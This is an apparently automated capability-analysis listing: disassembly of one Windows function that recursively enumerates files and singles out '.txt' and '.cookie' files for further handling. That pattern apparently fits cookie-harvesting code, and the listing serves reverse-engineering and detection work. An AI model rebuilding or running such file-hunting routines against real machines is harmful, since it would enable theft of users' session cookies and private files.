Function at 0x1401e62e0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x238]
sub rsp, 0x338
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov rax, qword [0x140418a10]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov byte [rsp + 0x30], r9b
mov rsi, r8
mov rbx, rdx
mov qword [rbp - 0x80], rdx
mov rdi, rcx
xor eax, eax
mov qword [rsp + 0x78], rax
lea edx, [rax + 1]
lea rcx, [rsp + 0x70]
call fcn.1401ff260
mov eax, dword [rsp + 0x78]
inc eax
movsxd rdx, eax
mov r9d, 1
lea r8, [0x14034e8b4]
mov rcx, qword [rsp + 0x70]
call fcn.1402bd21c
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.140200570
nop
lea r8, [rsp + 0x70]
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.1400d2bd0
nop
cmp dword [rsp + 0x78], 0
jle 0x1401e6386
mov rcx, qword [rsp + 0x70]
call fcn.1402b9c20
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x38], rax
cmp rax, 0xffffffffffffffff
je 0x1401e6668
lea rdx, [0x140348ca0]
mov rbx, rax
nop dword [rax]
test byte [rbp - 0x30], 0x10
je 0x1401e64aa
movzx ecx, word [rbp - 4]
movzx eax, word [rbp - 2]
cmp cx, word [0x140347c20]
jne 0x1401e63d8
cmp ax, word [0x140347c22]
je 0x1401e6642
cmp cx, word [0x14034e8ac]
jne 0x1401e63fb
cmp ax, word [0x14034e8ae]
jne 0x1401e63fb
movzx eax, word [rbp]
cmp ax, word [0x14034e8b0]
je 0x1401e6642
lea rax, [rbp - 4]
or rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1401e6403
xor eax, eax
mov qword [rsp + 0x68], rax
test ebx, ebx
jne 0x1401e641f
mov qword [rsp + 0x60], rdx
jmp 0x1401e6445
mov edx, ebx
lea rcx, [rsp + 0x60]
call fcn.1401ff260
movsxd r9, ebx
mov eax, dword [rsp + 0x68]
inc eax
movsxd rdx, eax
lea r8, [rbp - 4]
mov rcx, qword [rsp + 0x60]
call fcn.1402bd21c
mov edx, ebx
lea rcx, [rsp + 0x60]
call fcn.140200570
nop
lea r8, [rsp + 0x60]
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x58]
call fcn.1400d2bd0
nop
cmp dword [rsp + 0x68], 0
jle 0x1401e6476
mov rcx, qword [rsp + 0x60]
call fcn.1402b9c20
movzx eax, byte [rbp + 0x280]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x30]
mov r8, rsi
lea rdx, [rbp - 0x58]
mov rcx, rdi
call fcn.1401e62e0
nop
cmp dword [rbp - 0x50], 0
jle 0x1401e663d
mov rcx, qword [rbp - 0x58]
jmp 0x1401e6638
lea rax, [rbp - 4]
or rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1401e64b2
xor eax, eax
mov qword [rsp + 0x58], rax
test ebx, ebx
jne 0x1401e64ce
mov qword [rsp + 0x50], rdx
jmp 0x1401e64f4
mov edx, ebx
lea rcx, [rsp + 0x50]
call fcn.1401ff260
movsxd r9, ebx
mov eax, dword [rsp + 0x58]
inc eax
movsxd rdx, eax
lea r8, [rbp - 4]
mov rcx, qword [rsp + 0x50]
call fcn.1402bd21c
mov edx, ebx
lea rcx, [rsp + 0x50]
call fcn.140200570
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.1400e32e0
nop
cmp dword [rsp + 0x58], 0
jle 0x1401e6521
mov rcx, qword [rsp + 0x50]
call fcn.1402b9c20
lea rax, [rbp - 4]
or rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1401e6530
xor eax, eax
mov qword [rsp + 0x48], rax
test ebx, ebx
jne 0x1401e6553
lea rax, [0x140348ca0]
mov qword [rsp + 0x40], rax
jmp 0x1401e6579
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.1401ff260
movsxd r9, ebx
mov eax, dword [rsp + 0x48]
inc eax
movsxd rdx, eax
lea r8, [rbp - 4]
mov rcx, qword [rsp + 0x40]
call fcn.1402bd21c
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140200570
nop
lea r8, [rsp + 0x40]
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x68]
call fcn.1400d2bd0
nop
cmp dword [rsp + 0x48], 0
jle 0x1401e65aa
mov rcx, qword [rsp + 0x40]
call fcn.1402b9c20
xor r8d, r8d
lea rcx, [rbp - 0x78]
cmp byte [rbp + 0x280], r8b
je 0x1401e65e1
lea rdx, [0x1403518d8]
call fcn.1401ff540
test al, al
je 0x1401e661e
movzx r9d, byte [rsp + 0x30]
mov r8, rsi
lea rdx, [rbp - 0x68]
mov rcx, rdi
call fcn.1401e6c40
jmp 0x1401e661e
lea rdx, str..txt
call fcn.1401ff540
test al, al
jne 0x1401e6608
xor r8d, r8d
lea rdx, str..cookie
lea rcx, [rbp - 0x78]
call fcn.1401ff540
test al, al
je 0x1401e661e
movzx r9d, byte [rsp + 0x30]
mov r8, rsi
lea rdx, [rbp - 0x68]
mov rcx, rdi
call fcn.1401e66a0
nop
cmp dword [rbp - 0x60], 0
jle 0x1401e662e
mov rcx, qword [rbp - 0x68]
call fcn.1402b9c20
nop
cmp dword [rbp - 0x70], 0
jle 0x1401e663d
mov rcx, qword [rbp - 0x78]
call fcn.1402b9c20
mov rbx, qword [rsp + 0x38]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
lea rdx, [0x140348ca0]
jne 0x1401e63b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
cmp dword [rbp - 0x40], 0
jle 0x1401e6677
mov rcx, qword [rbp - 0x48]
call fcn.1402b9c20
mov al, 1
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1402b9610
add rsp, 0x338
pop rdi
pop rsi
pop rbx
pop rbp
ret